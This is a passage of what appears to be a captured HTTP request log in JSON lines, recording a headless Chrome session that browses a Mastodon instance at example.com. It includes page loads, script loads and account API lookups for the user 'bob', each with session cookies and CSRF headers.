_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6MzU6MDEuMDg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3e621804b83e419e53240da45526963a03c5ebf; _mastodon_session=czJbA3y3k%2F1WDIHXTgXGCFLjJqzqNZJUS0RyxOagay9LjMXrSZk2z5HAC8YWgvfh6oSiD8XgcSb1rTO5kLsRomQLim0I0Z17ZDkJQnBo4UPW5MwJAOuuibdQJMMUm%2B79UjMOAdd9Hm%2BSPtHBq1XtuinptVeUko%2Brorb4WdC8pkNfedJK9D5W9WQuJLWdwhiCkKl19YAduVSOOuoCQGBhZHHoFzoRairx5rQANN1do7uHQ7Cqk8wukXAIezbN22svCTlBpL7R1zur%2FDYfQcap1NrMzMMLc8POt4296FMtGcXwqlwmy7PloAwcV1A50r%2BcZz%2FGehul21iSzHg5JsYuv%2Fkx8JiC43grUgIk4ZeitYCEZlRMEV3Mrw8iKKyEcTCOa4tlNxYbZXxr--7RU2Oc651EV%2BHj2h--Ut842kXYyHeUza298GjX2w%3D%3D"], "body": ""}
{"method": "GET", "target": "/explore/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDIuNTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--87c3afaae3eaa8e0f540d7c72e6743cd8faf095b; _mastodon_session=Z%2FHxCqyWviABD16R7qGKiqAzID3lMEE480qUb40hJSW1AUNBQ8Pp4RneLTa5z3wqN3KDhvDf5WG8IOLjQyLqtWq0dreNkLQdPlisYhOdgXYZ0YknJ%2FJEuLDNFCteVDZfp4PZ6IaLQwn5grrGnEc5mli16xZo7I5yoOM2N%2FAgdtVI8C41B3e1AAoVgvz1VxFGVG4CFbJ4CWroiu5FASt9GCkk1f0dAKo6DXFTTF7fgmn%2Fb9DmaaGpwqPYMozL2SaG8Py9rolQ%2By6PAsVu4f1XZk2mcktwFoLom46o5k82NnDMQCdBNp7ywCN2Xr4U%2ByXOa%2Flp%2FEGbVN2Xqj2LisdGh1kgh80RftAz%2BLZgHKnoFQ5ZqarigOc3MUF26%2FO5p7Alk0vFylpe7Ok8--7XAIk5WiJgkyFfel--Wr8qrB8%2B1iphsrudj%2FhYlw%3D%3D"], "body": ""}
{"method": "GET", "target": "/bookmarks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDMuNzU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea6b466b8bec4c76412ea4a453e6e6cb17a2a16d; _mastodon_session=uMUdA%2FZkUkIsNTcVm5xNFIbkbY41NVjWKNyV7YM7HWBVbM%2BXhhlbMDrlKhs0GBtNydUCkCSIet2vRVFxBfagocRCw8T5j%2FQDI2ByYL9q6zyFLNVNcGfODdXNheb9NV96v%2BFpp3FV9a30%2BVL4tU%2FPmgt%2B6iYEWOSM9g7%2FYkfm0mxMYSzZ29D%2BeXPcuz%2B1wWAqc1zaukNeOWnmNhNYtCXo0q9MxihMjcMm7xFFCXYNVNnu0X9EJgiYPEgkH4TY4CjY29vym9wwd8xXRS0WdLV94ip0jYWT%2BpQEM6wAu%2B070nk2mF66vynvSqkQi22UzIREgWqXh2USzb1MwDTrDcA6unybeuT5357hsJ5GFgPGvmdo8UV1RGvR8%2FB4yxXnLbw5p6Vt690htq2n--QbvMozOJikK6v%2F4q--z34wtSG4CMOivJpbIXuB3w%3D%3D"], "body": ""}
{"method": "GET", "target": "/favourites", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDQuNTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ca0811041e2ee1dabbec4dd3c33287b25a24d15; _mastodon_session=xhHtAPWb1ZbYiwaWMeVqvRpUHosArXY%2FcQmAJD%2FL51LEbm7fcnnTquyiysgc24SNdNyBfmqoCp%2BlohPcmCAnX1GoUj7b5vvuUF9qPoxYquUAuIkZewOpvCQrWp0ga%2Fpg%2BchB%2BaHLQCe3IckkPOYomof7Y46mb3p%2FlwnXqXDapaG1%2Brp7%2B2OMlw3xxymiAnG4s6onZnkIHPmlKJtUaNJ6YvdcVya6o%2FQcKG0D4KHi7Tgx3xdjecSaWnBe8cI7VK19K8xSsndQGf84lgsd2KZPfSi5TvSdzRjwbbu%2Bnp%2B6SdiOKtA%2Bc9lDienbQIO%2FemBPP%2BJ2EEUZhKv8M7ldavyvmfRh%2FPXtqwsH2XPrb5gPVz2IMJALA12%2BKZJLJvRZWNCA7pYtQyqC1ljJ--2Yf%2BI%2FF8Bu1VJ%2Bzl--SrSqiXumHyabScDav1Fx6A%3D%3D"], "body": ""}
{"method": "GET", "target": "/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDUuNzE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9ee5965103010e030cb0396380e7fbdec6617dcf; _mastodon_session=o3o%2FRFcyn%2BuuRiRl%2BSzOyChXsAViWJDFgDlwwu2e%2BJqAEJ6Bfb625g44ZGp7BzWmaI7D7eC6cnB5nYEzoa7c06DnqbW7uolbIZqNDvUjjI%2FtjOo3kwYI%2BkesIiLuoRQXT9uFqOgh8mhPYTYUyegGAP%2B7uEBHINnLMy3G%2FchGWI2%2BijGs1Rac%2BDuLFrD0Jus9SMmzQ7WIg8nIhALr2hrtuWBqhc7gZdH0dKdEj%2FFIx1DBlaUJA1L1Mx2Y7NbKVmPtzLoLt%2BcuwDjPedtKDB%2FhDoZ99fJ%2FS4nojcOoHlMAdL2%2By%2BfWbyZgAhilVO3F%2FAuZE3aFvSn50qIPSrfTr%2BHiAh3hasypCP3%2BDofzTfh6hrRu4np1t%2Bv2HEy%2BtIOxg1lqLdDW3fjtB9Ky--oXM4vBYbsNosJhp3--ACHEkQQO%2FxMEq%2BStXAcOPQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDYuNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a782fc312bdce7936f298948ecb580145e9b7101; _mastodon_session=DEmQEoeiY9ikVIZYOrjVXq%2FugxdZmclJYLglzbQE6VIg6nPwEFfIUNi78NcHtnygeFbe7TFeGvH1%2Bzn6kkUmWnMYxjtGBKLSUBUMyoQho3tl8orL%2FucOLSEr55joM7ZlsTIaxdWRd5IOxQ87vMooEfvTSVgscw4LOCERPKHIwEf%2F5Zz%2BRbrPCkXJ47ahozzESyxC7klyfY31bT%2FHnH0JV1W7mR6k1MwvzAqvK2Jo6VLFME%2Be5phOOhm1YAlt4YORfD6mnzbktsdvRVKBAkmKEXYYA3pzbGY3MSyCf72979lkzp5cIVtvk5Yn0t6M7aNmXsuln0EQANMqA4Na4Sep9KM32oqQl2jIKXekzrHufHVt5g%2Fmp530XnF57lbjEz%2FWMwLEvvGM0AKP--Hjns012KtGlLNccQ--gYPkBAWRUOUqympoNjMw%2FA%3D%3D"], "body": ""}
{"method": "GET", "target": "/conversations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDcuNjc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b626440ceeb06d479e15138ccb5ff51c5742cc77; _mastodon_session=ZCZNRAgCGgSTqu3khOk%2FIvuOxgzjOcd%2BxASaH7ddiNv4sQAS6L%2F6CLDaD7lsPMkv5ywqI26ZZ91R%2BGhx60bGdG3xDVP1iOG6ga7E0beB0vdlQlT7ei84GB4fwpF9G9D%2BNuzbZVrnJeXK1vkwJeQtphze%2BftXmu%2Bd1BFm%2FLi22Uf6oMna%2FZLEX%2BkYiBbrJswQVpEPjWVMgouFyP87YxumiXj0QaPfYuWBjZ9U%2FTeQtf4LepFv%2BLHYBiAO1NW7VLcxL1Gkee2V8OyVr%2ByxmUbvmXneWLlZIU%2FPkw16%2BPtBUmYmLGrDUI%2Fm6oKKjlfw5IKpFeu92Uu%2Bocw59jrGR1Nkmc47n6%2FKnkHbT8THGs5hZ2gn4BxQndyBfiiYoPkzc1PxZ3UW%2BOWAIK4k--T5vZkHtDRj3o%2BXLx--PFJtAW7heHSYU9kyD4EcHw%3D%3D"], "body": ""}
{"method": "GET", "target": "/@bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDguNTYzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--64c828a301085a038d39938315981461a67d4c16; _mastodon_session=zw4TO2H7a2mvpfHCXxN28hFjkM2GDU1V9OpeNBMiQEZNhg51xYJYP8buMLut%2BQrFJkBYzYhJVbrMBqiQGtfEWMP7VHLaeVPE%2B805jhuhyC4c%2FQx9GAzBQdFKFtgYujti5EqZsJTCjpKYvTNlevywZYScudoMoMHsQR%2FYkuTh5ZFMI2%2FjhRrC6UIn23LUCwhVuQsHc1N5Y4bxITI2lDBuWnLXjUCIT2igQfAwANT9S7%2Fj9QQqZWUI%2BDeqdqaDQqpx%2FtBDx2ODv0G%2FsOh8NtdsPkDv4DcnxsMZzAD7JwhOmiwJ09gZq3GLcc0vdJ5uYLq5NKRGwQYEDwZuJ4y4TT1%2BI5N6tSFMyDGI57p0JH8Kb0FtoNFyonJ%2BbZHV%2B8bqXPjfKzbS9V797%2FCT--XmPJCLgRqFiHnUqa--M%2FmmtnAINXQ8JOSefE%2BQVw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/redux-toolkit.modern-DNDb-du5.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/blurhash-CM3tW5se.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/alt_text_badge-DgGj3HLf.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NDkuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8c385e15467c9db67377396d7d4f36a9cb765abb; _mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMDQ0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aa61febdb5d1576ced2969a701bad6f6148175f8; _mastodon_session=KBs4igKGz3OqdzEnnUxk%2F8V92Sgb5A3CZoaWuQkYwHEcdZNtYWornZm25ZsXIz5LRfChDBU4MJoZZAfj3%2FoyKiFku%2BjLBKMkpug58MjMR5szf5yLSiQpQ50%2BghS7N4LGFX1zF3UH3asRqcYsbeanHqLGNrtM73sc7pHyE2MN811KSXcL%2B%2BPhYhh8IPQxNlltu1soEdDLQCRukIUCM%2F7vtj29haKUDW%2BZ95u9IxiRFXYrFL6C0XNEn%2FQHRM4XOhLhFl24nHJUbfMF4Hy%2Bci72rZf1D1Su6vXTuGvpNKK3aalSn0oFf%2BUqPg3JnhCHzXpzqspK%2F9V21WveNoyztif8b%2FvavsrWEG%2BVIvoK8U4V%2F7m%2BA%2BzkqVx2KKdqR00sO0SYIPOsHQzD8m%2Bp--otqlKd1r1pQjRPaM--lc8Z6ahsj%2BiqbtvJSlrXwA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?exclude_replies=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
